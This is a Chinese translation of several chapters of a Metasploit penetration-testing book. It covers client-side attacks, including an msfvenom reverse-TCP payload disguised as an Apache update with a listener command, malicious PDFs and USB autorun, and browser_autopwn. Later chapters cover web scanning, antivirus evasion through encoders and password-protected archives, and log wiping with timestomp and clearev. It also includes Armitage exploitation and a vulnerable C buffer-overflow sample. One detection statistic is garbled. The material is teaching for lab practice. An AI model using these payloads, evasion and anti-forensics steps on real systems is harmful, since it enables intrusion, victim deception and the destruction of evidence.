我们可以利用漏洞并获得远程 meterpreter 访问,但很可能我们在受损系统上的权限受到限制。为了确保我们对受损系统拥有完全访问和控制权,我们需要将特权提升到管理员级别。meterpreter 提供了提升特权的功能,如下截图所示。首先,我们加载一个名为priv的扩展,然后使用getsystem命令来提升特权。
然后,我们可以使用getuid命令验证我们的特权级别:
摘要
在本章中,您学习了如何设置 Metasploit 数据库,然后探索了使用 NMAP 和 Nessus 进行漏洞扫描的各种技术。我们最后了解了 Metasploit Framework 的高级后渗透功能。在下一章中,我们将学习 Metasploit Framework 的有趣的客户端利用功能。
练习
您可以尝试以下练习:
-
找出并尝试使用任何可用于漏洞检测的辅助模块
-
尝试探索 meterpreter 的各种功能,而不是本章讨论的那些功能
-
尝试找出是否有替代
db_autopwn
第六章:使用 Metasploit 进行客户端攻击
在上一章中,我们学习了如何使用各种工具,如 NMAP 和 Nessus,直接利用目标系统中的漏洞。然而,我们学到的技术只有在攻击者的系统和目标系统在同一网络中时才有用。在本章中,我们将概述用于利用完全位于不同网络中的系统的技术。本章将涵盖以下主题:
-
理解与客户端攻击相关的关键术语
-
使用 msfvenom 生成自定义有效载荷
-
使用社会工程工具包
-
使用
browser_autopwn辅助模块进行高级基于浏览器的攻击
客户端攻击的需求
在上一章中,我们在目标系统中使用了 MS08_067net api 漏洞,并获得了对系统的完全管理员级访问权限。我们将 RHOST 变量的值配置为目标系统的 IP 地址。现在,只有在攻击者的系统和目标系统都在同一网络中时,攻击才会成功。(攻击者系统的 IP 地址为192.168.44.134,目标系统的 IP 地址为192.168.44.129)。
如下图所示,这种情况非常直接:
现在,考虑下面图中显示的情景。攻击者系统的 IP 地址是一个公共地址,他试图利用不在同一网络中的系统上的漏洞。请注意,目标系统在这种情况下具有私有 IP 地址(10.11.1.56)并且在互联网路由器(88.43.21.9x)后进行了 NAT。因此,攻击者的系统和目标系统之间没有直接的连接。通过将 RHOST 设置为89.43.21.9,攻击者只能到达互联网路由器,而无法到达所需的目标系统。在这种情况下,我们需要采用另一种攻击目标系统的方法,即客户端攻击:
什么是客户端攻击?
正如我们在前面的部分中看到的,如果目标系统不在攻击者的网络中,那么攻击者无法直接到达目标系统。在这种情况下,攻击者将不得不通过其他方式将有效载荷发送到目标系统。将有效载荷传递到目标系统的一些技术包括:
-
攻击者托管一个包含所需恶意有效载荷的网站,并将其发送给受害者。
-
攻击者将有效载荷嵌入到任何看似无害的文件中,如 DOC、PDF 或 XLS,并通过电子邮件发送给受害者。
-
攻击者使用感染的媒体驱动器(如 USB 闪存驱动器、CD 或 DVD)发送有效载荷
现在,一旦有效载荷被发送到受害者,受害者需要执行所需的操作以触发有效载荷。一旦有效载荷被触发,它将连接到攻击者并为他提供所需的访问权限。大多数客户端攻击需要受害者执行某种操作或其他。
以下流程图总结了客户端攻击的工作原理:
什么是 Shellcode?
让我们把单词 shellcode 分解成 shell 和 code。简单来说,shellcode 是一种旨在给目标系统提供 shell 访问权限的代码。实际上,shellcode 可以做的远不止提供 shell 访问权限。这完全取决于 shellcode 中定义的操作。为了执行客户端攻击,我们需要选择精确的 shellcode 作为有效载荷的一部分。假设目标系统存在某种漏洞,攻击者可以编写一个 shellcode 来利用该漏洞。Shellcode 通常是十六进制编码的数据,可能看起来像这样:
"
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x51\x68\x6c\x6c\x20\x20\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72"
"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51"
"\xff\xd3\xb9\x5e\x67\x30\xef\x81"
"\xc1\x11\x11\x11\x11\x51\x68\x61"
"\x67\x65\x42\x68\x4d\x65\x73\x73"
"\x89\xe1\x51\x50\xbb\x40\xae\x80"
"\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
"\x51\x51\x52\xff\xd0\x31\xc0\x50"
"\xb8\x12\xcb\x81\x7c\xff\xd0"
"
什么是反向 Shell?
反向 shell 是一种 shell 类型,执行后会连接到攻击者的系统,提供 shell 访问权限。
什么是绑定 shell?
绑定 shell 是一种 shell 类型,执行时会主动监听特定端口上的连接。攻击者可以连接到该端口以获取 shell 访问权限。
什么是编码器?
msfvenom实用程序将为我们生成有效载荷。然而,我们的有效载荷在目标系统上被杀毒软件检测到的可能性非常高。几乎所有行业领先的杀毒软件和安全软件程序都有签名来检测 Metasploit 有效载荷。如果我们的有效载荷被检测到,它将变得无用,我们的利用将失败。这正是编码器发挥作用的地方。编码器的工作是以一种不被杀毒软件或类似安全软件程序检测到的方式对生成的有效载荷进行混淆。
msfvenom 实用程序
早些时候,Metasploit 框架提供了两个不同的实用程序,即msfpayload和msfencode。msfpayload用于生成指定格式的有效载荷,而msfencode用于使用各种算法对有效载荷进行编码和混淆。然而,Metasploit 框架的更新和最新版本将这两个实用程序合并为一个称为msfvenom的单一实用程序。
msfvenom实用程序可以在单个命令中生成有效载荷并对其进行编码。接下来我们将看到一些命令:
msfvenom是一个独立的实用程序,不需要同时运行msfconsole。
- 列出有效载荷:
msfvenom实用程序支持所有标准的 Metasploit 有效载荷。我们可以使用msfvenom --list payloads命令列出所有可用的有效载荷,如下面的屏幕截图所示:
- 列出编码器:正如我们之前讨论的,
msfvenom是一个单一的实用程序,可以生成以及编码有效载荷。它支持所有标准的 Metasploit 编码器。我们可以使用msfvenom --list encoders命令列出所有可用的编码器,如下面的屏幕截图所示:
- 列出格式:在生成有效载荷时,我们需要指示
msfvenom实用程序我们需要将有效载荷生成为的文件格式。我们可以使用msfvenom --help formats命令查看所有支持的有效载荷输出格式:
- 列出平台:在生成有效载荷的同时,我们还需要指示
msfvenom实用程序我们的有效载荷将在哪个平台上运行。我们可以使用msfvenom --help-platforms命令列出所有支持的平台:
使用 msfvenom 生成有效载荷
现在我们已经熟悉了msfvenom实用程序支持的所有有效载荷、编码器、格式和平台,让我们尝试生成一个示例有效载荷,如下面的屏幕截图所示:
以下表格显示了在前述msfvenom命令中使用的每个命令开关的详细说明:
| 开关 | 说明 |
|---|---|
-a x86 | 这里,生成的有效载荷将在 x86 架构上运行 |
--platform windows | 这里,生成的有效载荷针对 Windows 平台 |
-p windows/meterpreter/reverse_tcp | 这里,有效载荷是带有反向 TCP 的 meterpreter |
LHOST= 192.168.44.134 | 这里,攻击者系统的 IP 地址是192.168.44.134 |
LPORT= 8080 | 这里,攻击者系统上监听的端口号是8080 |
-e x86/shikata_ga_nai | 这里,要使用的有效载荷编码器是shikata_ga_nai |
-f exe | 这里,有效载荷的输出格式是exe |
-o /root/Desktop/apache-update.exe | 这是生成的有效载荷将保存的路径 |
一旦我们生成了一个载荷,我们需要设置一个监听器,一旦在目标系统上执行了载荷,它将接受反向连接。以下命令将在 IP 地址192.168.44.134上的端口8080上启动一个 meterpreter 监听器:
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.44.134; set LPORT 8080; run; exit -y"
现在,我们已将载荷伪装成 Apache 更新发送给了我们的受害者。受害者需要执行它以完成利用:
一旦受害者执行apache-update.exe文件,我们就会在之前设置的监听器上获得一个活动的 meterpreter 会话(如下截图所示):
另一种有趣的载荷格式是 VBA。如下截图所示,以 VBA 格式生成的载荷可以嵌入到任何 Word/Excel 文档的宏中:
使用 Metasploit 进行社会工程
社会工程是一种操纵人类行为的艺术,以绕过目标系统的安全控制。让我们以一个遵循非常严格安全实践的组织为例。所有系统都经过了加固和修补。最新的安全软件已部署。从技术上讲,攻击者很难找到并利用任何漏洞。然而,攻击者以某种方式设法与该组织的网络管理员交友,然后欺骗他透露管理员凭据。这是一个经典的例子,人类始终是安全链中最薄弱的环节。
默认情况下,Kali Linux 具有一个强大的社会工程工具,可以与 Metasploit 无缝集成,以发动有针对性的攻击。在 Kali Linux 中,社会工程工具包位于 Exploitation Tools | Social Engineering Toolkit 下。
生成恶意 PDF
打开社会工程工具包,并选择第一个选项 Spear-Phishing Attack Vectors,如下截图所示。然后选择第二个选项 Create a File Format Payload:
现在,选择选项 14 使用Adobe util.printf() Buffer Overflow利用:
选择选项 1,将 Windows Reverse TCP Shell 作为我们的利用载荷。然后,使用 LHOST 变量设置攻击者机器的 IP 地址(在本例中是192.168.44.134)和要监听的端口(在本例中是443):
PDF 文件已在目录/root/.set/中生成。现在我们需要使用任何可用的通信媒介将其发送给我们的受害者。同时,我们还需要启动一个监听器,该监听器将接受来自目标的反向 meterpreter 连接。我们可以使用以下命令启动监听器:
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.44.134; set LPORT 443; run; exit -y"
另一方面,我们的受害者收到了 PDF 文件,并尝试使用 Adobe Reader 打开它。Adobe Reader 崩溃了,但没有迹象表明受害者受到了威胁:
在监听端(攻击者系统上),我们得到了一个新的 meterpreter shell!我们可以在下面的截图中看到这一点:
创建传染性媒体驱动器
打开社会工程工具包,从主菜单中选择选项 3 传染性媒体生成器,如下截图所示。然后,选择选项 2 创建标准的 Metasploit 可执行文件:
现在,选择选项 1,将 Windows Shell Reverse TCP 作为我们的利用载荷。然后,在 LHOST 变量中设置 IP 地址和要监听的端口:
社会工程工具包将生成一个名为autorun的文件夹,位于/root/.set/。这个文件夹可以复制到 USB 闪存驱动器或 CD/DVD-ROM 中,以分发给我们的受害者。与此同时,我们还需要设置一个监听器(如前面部分所示),然后等待我们的受害者将受感染的媒体插入他的系统。
浏览器自动攻击
用于执行客户端攻击的另一个有趣的辅助模块是browser_autopwn。这个辅助模块按以下顺序工作:
-
攻击者执行
browser_autopwn辅助模块。 -
攻击者在其系统上启动一个 Web 服务器,托管一个载荷。这个载荷可以通过特定的 URL 访问。
-
攻击者向受害者发送特制的 URL。
-
受害者试图打开 URL,这时载荷就会下载到他的系统上。
-
如果受害者的浏览器存在漏洞,攻击成功,攻击者就会获得一个 meterpreter shell。
从msfconsole中,使用use auxiliary/server/browser_autopwn命令选择browser_autopwn模块,如下截图所示。然后,配置 LHOST 变量的值并运行辅助模块:
运行辅助模块将创建许多不同的利用/载荷组合实例,因为受害者可能使用任何类型的浏览器:
在目标系统上,我们的受害者打开了 Internet Explorer,并尝试访问恶意 URL http://192.168.44.134:8080(我们使用browser_autopwn辅助模块设置的):
回到我们的 Metasploit 系统,我们的受害者一打开特制的 URL,我们就获得了一个 meterpreter shell:
总结
在本章中,我们学习了如何使用各种工具和技术来发动高级客户端攻击并绕过网络边界限制。
在下一章中,我们将深入探讨 Metasploit 在测试 Web 应用程序安全性方面的能力。
练习
您可以尝试以下练习:
-
熟悉
msfvenom的各种参数和开关 -
探索社会工程工具包提供的各种其他社会工程技术
第七章:使用 Metasploit 进行 Web 应用程序扫描
在上一章中,我们概述了如何使用 Metasploit 来发动欺骗性的客户端攻击。在本章中,您将学习 Metasploit Framework 的各种功能,用于发现 Web 应用程序中的漏洞。在本章中,我们将涵盖以下主题:
-
设置易受攻击的 Web 应用程序
-
使用 WMAP 进行 Web 应用程序漏洞扫描
-
用于 Web 应用程序枚举和扫描的 Metasploit 辅助模块
设置易受攻击的应用程序
在我们开始探索 Metasploit Framework 提供的各种 Web 应用程序扫描功能之前,我们需要建立一个测试应用程序环境,以便进行测试。正如在前几章中讨论的那样,Metasploitable 2是一个故意制造漏洞的 Linux 发行版。它还包含了故意制造漏洞的 Web 应用程序,我们可以利用这一点来练习使用 Metasploit 的 Web 扫描模块。
为了使易受攻击的测试应用程序运行起来,只需启动metasploitable 2;Linux,并从任何 Web 浏览器远程访问它,如下面的截图所示:
在 metasploitable 2 分发版上默认运行两个不同的易受攻击的应用程序,Mutillidae 和Damn Vulnerable Web Application(DVWA)。易受攻击的应用程序可以进一步进行测试,如下面的截图所示:
使用 WMAP 进行 Web 应用程序扫描
WMAP 是 Kali Linux 中可用的强大的 Web 应用程序漏洞扫描器。它以插件的形式集成到 Metasploit Framework 中。为了使用 WMAP,我们首先需要在 Metasploit 框架中加载和初始化插件,如下面的截图所示:
一旦wmap插件加载到 Metasploit Framework 中,下一步是为我们的扫描创建一个新站点或工作空间。站点创建后,我们需要添加要扫描的目标 URL,如下面的截图所示:
现在我们已经创建了一个新站点并定义了我们的目标,我们需要检查哪些 WMAP 模块适用于我们的目标。例如,如果我们的目标没有启用 SSL,则对此运行 SSL 相关测试就没有意义。这可以使用wmap_run -t命令来完成,如下面的截图所示:
现在我们已经枚举了适用于对我们易受攻击的应用程序进行测试的模块,我们可以继续进行实际的测试执行。这可以通过使用wmap_run -e命令来完成,如下面的截图所示:
在我们的目标应用程序上成功执行测试后,发现的漏洞(如果有)将存储在 Metasploit 的内部数据库中。然后可以使用wmap_vulns -l命令列出漏洞,如下面的截图所示:
使用 Metasploit 的 Web 应用程序枚举和扫描辅助模块
在第四章使用 Metasploit 进行信息收集中,我们已经看到了 Metasploit Framework 中用于枚举 HTTP 服务的一些辅助模块。接下来,我们将探索一些其他可以有效用于枚举和扫描 Web 应用程序的辅助模块:
- cert:此模块可用于枚举目标 Web 应用程序上的证书是否有效或已过期。其辅助模块名称为
auxiliary/scanner/http/cert,其使用方法如下截图所示:
需要配置的参数如下:
- RHOSTS: 要扫描的目标的 IP 地址或 IP 范围
还可以通过指定包含目标 IP 地址列表的文件,同时在多个目标上运行模块,例如,设置 RHOSTS /root/targets.lst。
dir_scanner:该模块检查目标 Web 服务器上各种目录的存在。这些目录可能会透露一些有趣的信息,如配置文件和数据库备份。其辅助模块名称为auxiliary/scanner/http/dir_scanner,如下截图所示:
要配置的参数如下:
-
RHOSTS:要扫描的目标的 IP 地址或 IP 范围
-
enum_wayback:www.archive.org存储了任何给定网站的所有历史版本和数据。它就像一个时光机,可以展示多年前特定网站的样子。这对于目标枚举可能很有用。enum_wayback模块查询www.archive.org,以获取目标网站的历史版本。
其辅助模块名称为auxiliary/scanner/http/enum_wayback,如下截图所示:
要配置的参数如下:
-
RHOSTS:要查询其存档的目标域名
-
files_dir:该模块搜索目标,查找可能无意中留在 Web 服务器上的任何文件。这些文件包括源代码、备份文件、配置文件、存档和密码文件。其辅助模块名称为auxiliary/scanner/http/files_dir,以下截图显示了如何使用它:
要配置的参数如下:
-
RHOSTS:要扫描的目标的 IP 地址或 IP 范围
-
http_login:如果目标系统启用了基于 HTTP 的身份验证,该模块尝试暴力破解。它使用 Metasploit Framework 中提供的默认用户名和密码字典。其辅助模块名称为auxiliary/scanner/http/http_login,以下截图显示了如何使用它:
要配置的参数如下:
-
RHOSTS:要扫描的目标的 IP 地址或 IP 范围
-
options: 该模块检查目标 Web 服务器上是否启用了各种HTTP方法,如TRACE和HEAD。这些方法通常是不必要的,攻击者可以利用它们来策划攻击向量。其辅助模块名称为auxiliary/scanner/http/options,以下截图显示了如何使用它:
要配置的参数如下:
-
RHOSTS:要扫描的目标的 IP 地址或 IP 范围
-
http_version: 该模块枚举目标并返回 Web 服务器和底层操作系统的确切版本。然后可以使用版本信息启动特定攻击。其辅助模块名称为auxiliary/scanner/http/http_version,以下截图显示了如何使用它:
要配置的参数如下:
- RHOSTS:要扫描的目标的 IP 地址或 IP 范围
总结
在本章中,我们探讨了 Metasploit Framework 的各种功能,可用于 Web 应用程序安全扫描。在前往下一章之前,您将学习各种技术,可用于将我们的有效负载隐藏在防病毒程序中,并在入侵系统后清除我们的痕迹。
练习
查找并利用以下易受攻击的应用程序中的漏洞:
-
DVWA
-
Mutillidae
-
OWASP Webgoat
第八章:防病毒逃避和反取证
在前两章中,您学习了如何利用 Metasploit 框架生成自定义有效负载并发动高级客户端攻击。然而,如果我们生成的有效负载被防病毒程序检测并阻止,那么它们将毫无用处。在本章中,我们将探讨各种技术,以使我们的有效负载尽可能不被检测。您还将熟悉在成功妥协后覆盖我们的踪迹的各种技术。
在本章中,我们将涵盖以下主题:
-
使用编码器避免 AV 检测
-
使用二进制加密和打包技术
-
测试有效负载以检测和沙盒概念
-
使用 Metasploit 反取证技术,如 TimeStomp 和 clearev
使用编码器避免 AV 检测
在第六章《使用 Metasploit 进行客户端攻击》中,我们已经看到如何使用msfvenom实用程序生成各种有效负载。然而,如果原样使用这些有效负载,它们很可能会被防病毒程序检测到。为了避免我们的有效负载被防病毒程序检测到,我们需要使用msfvenom实用程序提供的编码器。
要开始,我们将使用shikata_ga_nai编码器生成.exe格式的简单有效负载,如下面的屏幕截图所示:
一旦有效负载生成,我们将其上传到网站www.virustotal.com进行分析。分析完成后,我们可以看到我们的文件apache-update.exe(包含有效负载)被使用的 60 个防病毒程序中的 46 个检测到。这对于我们的有效负载来说是相当高的检测率。将此有效负载原样发送给受害者的成功可能性较小,因为它的检测率。现在,我们必须努力使它不被尽可能多的防病毒程序检测到。
该网站www.virustotal.com运行来自各种供应商的多个防病毒程序,并使用所有可用的防病毒程序扫描上传的文件。
仅仅一次使用shikata_ga_nai编码器对我们的有效负载进行编码并没有很好地工作。msfvenom实用程序还有一个选项,可以多次迭代编码过程。通过多次迭代编码器对我们的有效负载进行处理可能会使其更隐蔽。现在,我们将尝试生成相同的有效负载;但是,这次我们将尝试运行编码器 10 次,以使其隐蔽,如下面的屏幕截图所示:
现在有效负载已生成,我们再次将其提交到www.virustotal.com进行分析。如下面的屏幕截图所示,分析结果显示,这次我们的有效负载被 60 个防病毒程序中的 45 个检测到。因此,它比我们之前的尝试稍好,但仍然不够好:
为了进一步尝试使我们的有效负载不被检测到,这次我们将尝试将编码器从shikata_ga_nai(之前使用的)更改为一个名为opt_sub的新编码器,如下面的屏幕截图所示。我们将在我们的有效负载上运行编码器五次:
一旦有效负载生成,我们将提交它进行分析到www.virustotal.com。这次,结果看起来好多了!只有 25 个防病毒程序中的 25 个能够检测到我们的有效负载,而之前有 45 个能够检测到,如下面的屏幕截图所示。这确实是一个显著的改进:
您可能已经了解到,没有单一的秘密配方可以使我们的有效负载完全不被检测到。
使载荷不可检测的过程涉及使用各种排列组合和不同编码器的各种试验和错误方法。您必须不断尝试,直到载荷的检测率降到可接受的水平。
然而,非常重要的一点是,有时在载荷上运行多次编码器的迭代甚至可能损坏原始载荷代码。因此,最好在将其发送到目标系统之前,确实通过在测试实例上执行来验证载荷。
使用打包程序和加密程序
在前面的部分中,我们已经看到如何利用各种编码器来使我们的载荷免受杀毒程序的检测。然而,即使使用不同的编码器和迭代,我们的载荷仍然被一些杀毒程序检测到。为了使我们的载荷完全隐蔽,我们可以利用一个叫做加密自解压缩存档的功能,这是由一个叫做7-Zip的压缩实用程序提供的。
首先,我们将把一个恶意的 PDF 文件(包含一个载荷)上传到网站www.virustotal.com,如下面的截图所示。分析显示,我们的 PDF 文件被 56 个可用的杀毒程序中的 32 个检测到,如下面的截图所示:
现在,使用 7-Zip 实用程序,如下面的截图所示,我们将我们的恶意 PDF 文件转换成一个自解压缩存档:
分析结果,如下面的截图所示,显示了被转换成自解压缩存档的 PDF 文件被 59 个可用的杀毒程序中的 21 个检测到。这比我们之前的尝试(32/56)要好得多:
现在,为了使载荷更加隐蔽,我们将把我们的载荷转换成一个受密码保护的自解压缩存档。这可以通过 7-Zip 实用程序来完成,如下面的截图所示:
现在,我们将把密码加密的载荷上传到网站www.virustotal.com并检查结果,如下面的截图所示。有趣的是,这一次没有一个杀毒程序能够检测到我们的载荷。现在,我们的载荷将在整个传输过程中不被检测到,直到它到达目标。然而,密码保护为最终用户(受害者)执行载荷增加了另一个障碍:
什么是沙箱?
无论我们执行一个应用程序,无论是合法的还是恶意的,都会发生以下事件:
-
应用程序直接与主机操作系统交互
-
系统调用被执行
-
建立网络连接
-
注册表条目被修改
-
事件日志被写出
-
临时文件被创建或删除
-
新的进程被生成
-
配置文件被更新
所有上述事件都是持久性的,并改变了目标系统的状态。现在,可能会有一种情况,我们必须以受控的方式测试一个恶意程序,以便测试系统的状态保持不变。这正是沙箱可以发挥重要作用的地方。
想象一下,沙箱是一个隔离的容器或隔间。在沙箱内执行的任何东西都会留在沙箱内,不会影响外部世界。在沙箱内运行一个载荷样本将帮助您分析其行为,而不会影响主机操作系统。
有几个开源和免费的沙箱框架可用,如下所示:
-
Sandboxie:
www.sandboxie.com -
Cuckoo 沙箱:
cuckoosandbox.org/
探索这些沙箱的功能超出了本书的范围;然而,尝试这些沙箱进行恶意载荷分析是值得的。
反取证
在过去的十年左右,数字取证技术有了实质性的改进和进步。取证工具和技术已经得到了很好的发展和成熟,可以在发生违规/欺诈或事件时搜索、分析和保留任何数字证据。
在整本书中,我们已经看到了 Metasploit 如何用于妥协远程系统。Meterpreter 使用内存中的dll注入,并确保除非明确需要,否则不会写入磁盘。然而,在妥协过程中,我们经常需要执行某些修改、添加或删除远程文件系统上的文件的操作。这意味着如果对被妥协的系统进行取证调查,我们的行为将被追溯。
成功地妥协我们的目标系统是一部分,而确保我们的妥协即使从法医角度来看也不被察觉和发现是另一个重要部分。幸运的是,Metasploit 框架提供了工具和实用程序,帮助我们清除我们的足迹,并确保在系统上留下最少或没有我们的妥协证据。
Timestomp
文件系统中的每个文件和文件夹,无论操作系统的类型如何,都有与之关联的元数据。元数据只是特定文件或文件夹的属性,包含诸如创建、访问和修改时间和日期、磁盘上的大小、所有权信息以及一些其他属性,比如是否标记为只读或隐藏。在任何欺诈或事件发生时,这些元数据可以揭示大量有用的信息,可以追溯攻击。
除了元数据的关注,还有一些安全程序被称为文件完整性监视器,它们不断监视文件是否发生变化。现在,当我们妥协一个系统并在其上获得 meterpreter shell 时,我们可能需要访问该系统上的现有文件,创建新文件或修改现有文件。当我们进行这些更改时,它显然会以更改的时间戳的形式反映在元数据中。这可能会引起警报或在事件调查中泄露线索。为了避免通过元数据留下我们的痕迹,我们希望覆盖我们在妥协过程中访问或创建的每个文件和文件夹的元数据信息(特别是时间戳)。
Meterpreter 提供了一个非常有用的实用程序,称为timestomp,您可以使用它覆盖任何文件或文件夹的时间戳值。
一旦我们在被妥协的系统上获得了 meterpreter shell,下面的屏幕截图显示了timestomp实用程序的帮助菜单:
下面的屏幕截图显示了在使用timestomp之前文件Confidential.txt的时间戳:
现在,我们将利用 SMB MS08_67_netapi漏洞妥协我们的目标系统,然后使用timestomp实用程序修改文件Confidential.txt的时间戳,如下面的屏幕截图所示:
使用timestomp实用程序修改文件时间戳后,我们可以看到文件Confidential.txt的更改时间戳值,如下面的屏幕截图所示:
clearev
每当我们与 Windows 系统交互时,所有操作都以事件日志的形式记录下来。事件日志分为三类,即应用程序日志、安全日志和系统日志。在系统故障或安全妥协的情况下,调查员/管理员最有可能首先看到事件日志。
假设我们通过某些漏洞入侵了 Windows 主机。然后,我们使用 meterpreter 上传新文件到被入侵的系统。我们还提升了权限并尝试添加新用户。现在,这些操作将被记录在事件日志中。在我们付出所有努力进行入侵之后,我们肯定不希望我们的行动被发现。这时,我们可以使用一个名为clearev的 meterpreter 脚本来清除所有日志并清除我们的活动痕迹。
以下截图显示了存储和显示所有事件日志的“Windows 事件查看器”应用程序:
现在,我们使用 SMBMS08_67_netapi漏洞来入侵目标 Windows 系统,并获得了 meterpreter 访问。我们在 meterpreter shell 中输入clearev命令(如下截图所示),它简单地清除了被入侵系统上的所有日志:
回到我们被入侵的 Windows 系统,我们检查了“事件查看器”,发现所有日志都已清除,如下截图所示:
总结
在本章中,您探索了使有效载荷不可检测的各种技术,并了解了与反取证相关的 Metasploit Framework 的各种能力。在前往下一章之前,我们将深入研究一种名为 Armitage 的网络攻击管理工具,该工具在后台使用 Metasploit,并简化了更复杂的渗透测试任务。
练习
您可以尝试以下练习:
-
使用
msfvenom实用程序生成有效载荷,然后尝试使用各种编码器使其在www.virustotal.com上最不可检测 -
探索一个名为
Hyperion的工具,使有效载荷不可检测 -
尝试使用任何沙箱应用程序来分析使用
msfvenom实用程序生成的有效载荷的行为
第九章:使用 Armitage 进行网络攻击管理
到目前为止,在本书中,您已经学会了在渗透测试生命周期的所有阶段使用 Metasploit 的各种基本和高级技术。我们已经使用 Metasploit 命令行界面msfconsole执行了所有这些操作。现在我们已经熟悉了如何使用msfconsole,让我们继续使用图形界面,这将使我们的渗透测试任务更加容易。在本章中,我们将涵盖以下主题:
-
Armitage 简介
-
启动 Armitage 控制台
-
扫描和枚举
-
查找合适的攻击
-
利用目标
什么是 Armitage?
简而言之,Armitage 只是一个用于执行和管理所有任务的 GUI 工具,否则这些任务可以通过msfconsole执行。
Armitage 帮助可视化目标,自动推荐合适的攻击,并在框架中公开高级的攻击后操作功能。
请记住,Armitage 在后台使用 Metasploit;因此,为了使用 Armitage,您需要在系统上运行一个正在运行的 Metasploit 实例。Armitage 不仅与 Metasploit 集成,还与其他工具(如 NMAP)集成,用于高级端口扫描和枚举。
Armitage 已经预装在默认的 Kali Linux 安装中。
启动 Armitage 控制台
在实际启动 Armitage 控制台之前,首先我们需要启动postgresql服务和 Metasploit 服务,如下面的屏幕截图所示:
一旦 postgresql 和 Metasploit 服务正常运行,我们可以在命令行中输入armitage来启动 Armitage 控制台,如下面的屏幕截图所示:
在初始启动时,armitage控制台显示如下屏幕截图所示:
现在 Armitage 控制台已经启动,让我们添加我们希望攻击的主机。要添加新主机,请单击“主机”菜单,然后选择“添加主机”选项。您可以一次添加单个主机或多个主机,如下面的屏幕截图所示:
扫描和枚举
现在我们已经将目标主机添加到 Armitage 控制台,我们将执行一个快速端口扫描,以查看这里打开了哪些端口。要执行端口扫描,请右键单击主机,然后选择扫描选项,如下面的屏幕截图所示。这将在 Armitage 控制台的底部窗格中列出目标系统上的所有打开端口:
正如我们之前所见,Armitage 也与 NMAP 很好地集成。现在,我们将对目标进行 NMAP 扫描,以枚举服务并检测远程操作系统的版本,如下面的屏幕截图所示。要启动 NMAP 扫描,请单击“主机”选项,选择 NMAP 扫描,然后选择“快速扫描(OS 检测)”选项:
NMAP 扫描完成后,您会注意到我们目标主机上的 Linux 图标。
查找并发动攻击
在前面的部分中,我们将主机添加到 Armitage 控制台,并使用 NMAP 对其进行了端口扫描和枚举。现在,我们知道它正在运行基于 Debian 的 Linux 系统。下一步是找到与我们目标主机匹配的所有可能的攻击。为了获取所有适用的攻击,选择“攻击”菜单,然后单击“查找攻击”。现在,Armitage 控制台将查询后端数据库,以查找早期枚举中发现的所有可能匹配的漏洞利用,如下面的屏幕截图所示:
一旦 Armitage 控制台完成查询可能的利用,您可以通过右键单击主机并选择“攻击”菜单来查看适用的利用列表。在这种情况下,我们将尝试利用postgresql漏洞,如下面的屏幕截图所示:
在选择攻击类型为 Linux 负载执行的 PostgreSQL 时,我们会看到以下屏幕截图中显示的几种利用选项。我们可以将其保留为“默认”,然后点击“启动”按钮:
一旦我们发动了攻击,利用就会被执行。请注意主机图标的变化,如下面的屏幕截图所示。主机已成功被攻陷:
现在我们的主机已被攻陷,我们在系统上获得了一个反向连接。我们可以进一步与其交互,上传任何文件和负载,或使用任何后渗透模块。要做到这一点,只需右键单击被攻陷的主机,选择“Shell 1”选项,然后选择“交互”选项,如下面的屏幕截图所示:
与被攻陷的主机进行交互时,在 Armitage 控制台的底部窗格中打开了一个名为“Shell 1”的新选项卡,如下面的屏幕截图所示。从这里,我们可以远程执行所有 Linux 命令:
摘要
在本章中,您已经熟悉了使用 Armitage 工具在后台使用 Metasploit 进行网络攻击管理。Armitage 工具在同时对多个目标进行渗透测试时肯定会很方便,并节省大量时间。在下一章中,我们将学习如何通过添加自定义利用来进一步扩展 Metasploit 框架。
练习
尝试详细探索 Armitage 的各种功能,并使用它来攻陷任何目标 Windows 主机。
第十章:扩展 Metasploit 和利用开发
在上一章中,您学习了如何有效地使用 Armitage 轻松执行一些复杂的渗透测试任务。在本章中,我们将对利用开发进行高层次的概述。利用开发可能非常复杂和繁琐,是一个如此广泛的主题,以至于可以写一整本书。然而,在本章中,我们将试图了解利用开发是什么,为什么需要它,以及 Metasploit 框架如何帮助我们开发利用。本章将涵盖以下主题:
-
利用开发概念
-
将外部利用添加到 Metasploit
-
Metasploit 利用模板和混合技术介绍
利用开发概念
利用可以有许多不同的类型。它们可以根据平台、架构和服务目的等各种参数进行分类。每当发现任何给定的漏洞时,通常存在以下三种可能性之一:
-
已经存在利用代码
-
部分利用代码已经存在,需要一些修改才能执行恶意载荷
-
没有利用代码存在,需要从头开始开发新的利用代码
前两种情况看起来很容易,因为利用代码已经存在,可能只需要一些小的调整就可以执行。然而,第三种情况,即刚刚发现漏洞且没有利用代码存在的情况,才是真正的挑战。在这种情况下,您可能需要执行以下一些任务:
-
收集基本信息,例如漏洞支持的平台和架构
-
收集有关漏洞如何被利用以及可能的攻击向量的所有可能细节
-
使用模糊测试等技术来具体确定脆弱的代码和参数
-
编写伪代码或原型来测试利用是否真正有效
-
编写带有所有必需参数和值的完整代码
-
发布代码供社区使用,并将其转换为 Metasploit 模块
所有这些活动都非常紧张,需要大量的研究和耐心。利用代码对参数非常敏感;例如,在缓冲区溢出利用的情况下,返回地址是成功运行利用的关键。即使返回地址中的一个位被错误地提及,整个利用都会失败。
什么是缓冲区溢出?
缓冲区溢出是各种应用程序和系统组件中最常见的漏洞之一。成功的缓冲区溢出利用可能允许远程任意代码执行,从而提升权限。
当程序尝试在缓冲区中插入的数据超过其容量时,或者当程序尝试将数据插入到缓冲区之后的内存区域时,就会发生缓冲区溢出条件。在这种情况下,缓冲区只是分配的内存的连续部分,用于保存从字符串到整数数组的任何内容。尝试在分配的内存块的边界之外写入数据可能会导致数据损坏,使程序崩溃,甚至导致恶意代码的执行。让我们考虑以下代码:
#include <stdio.h>
void AdminFunction()
{
printf("Congratulations!\n");
printf("You have entered in the Admin function!\n");
}
void echo()
{
char buffer[25];
printf("Enter any text:\n");
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
echo();
return 0;
}
上述代码存在缓冲区溢出漏洞。如果仔细注意,缓冲区大小已设置为 25 个字符。但是,如果用户输入的数据超过 25 个字符会怎么样?缓冲区将简单地溢出,程序执行将突然结束。
模糊测试是什么?
